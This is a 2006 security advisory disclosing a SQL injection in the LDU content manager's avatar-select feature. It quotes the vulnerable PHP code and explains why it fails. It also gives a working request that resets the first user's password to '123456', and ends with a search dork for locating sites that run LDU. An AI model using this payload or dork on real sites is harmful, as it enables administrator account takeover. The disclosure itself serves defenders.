--Security Report--
Advisory: LDU <= 8.x Remote SQL Injection Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 21/10/06 09:44 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx (at) nukedx (dot) com [email concealed]
Web: http://www.nukedx.com
}
---
Vendor: Neocrome (http://www.neocrome.net)
Version: 8.x also prior versions must be affected.
About: Via this methods remote attacker can manipulate SQL query and
change everything in LDU's user database.Vulnerable code can be found
in profile.inc.php at lines 142-150
-Source in system/core/profile/profile.inc.php-
142: case 'avatarselect':
143: /* ============= */
144:
145: ldu_check_xg();
146: $avatar = $cfg['av_dir'].urldecode($id);
147: if (file_exists($avatar))
148: { $sql = ldu_query("UPDATE $db_users SET user_avatar='$avatar'
WHERE user_id='".$usr['id']."'"); }
149:
150: break;
-End of source-
As you can see "id" parameter did not sanitized properly and used with
urldecode() function which decodes id's value so remote attacker can
bypass magic_quotes_gpc and other functions which escapes ' strings.In
avatarselect LDU checks files available with file_exists function and
urldecode help us by using null byte.
A demostration exploitation will be given in How&Example part.
Level: Highly Critical
---
How&Example:
GET ->
http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=def
ault.gif[SQL
Inject]
GET ->
http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=def
ault.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2
527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of LDU to
123456
The XVALUE comes with your avatarselect link it's special to everyuser in LDU.
For using this vulnerability you must be logged in to LDU...
Timeline:
* 21/10/2006: Vulnerability found.
* 21/10/2006: Contacted with vendor and waiting reply.
---
Original advisory: http://www.nukedx.com/?viewdoc=51
---
Exploit:
http://www.nukedx.com/?getxpl=51
---
Dorks: "Powered by LDU"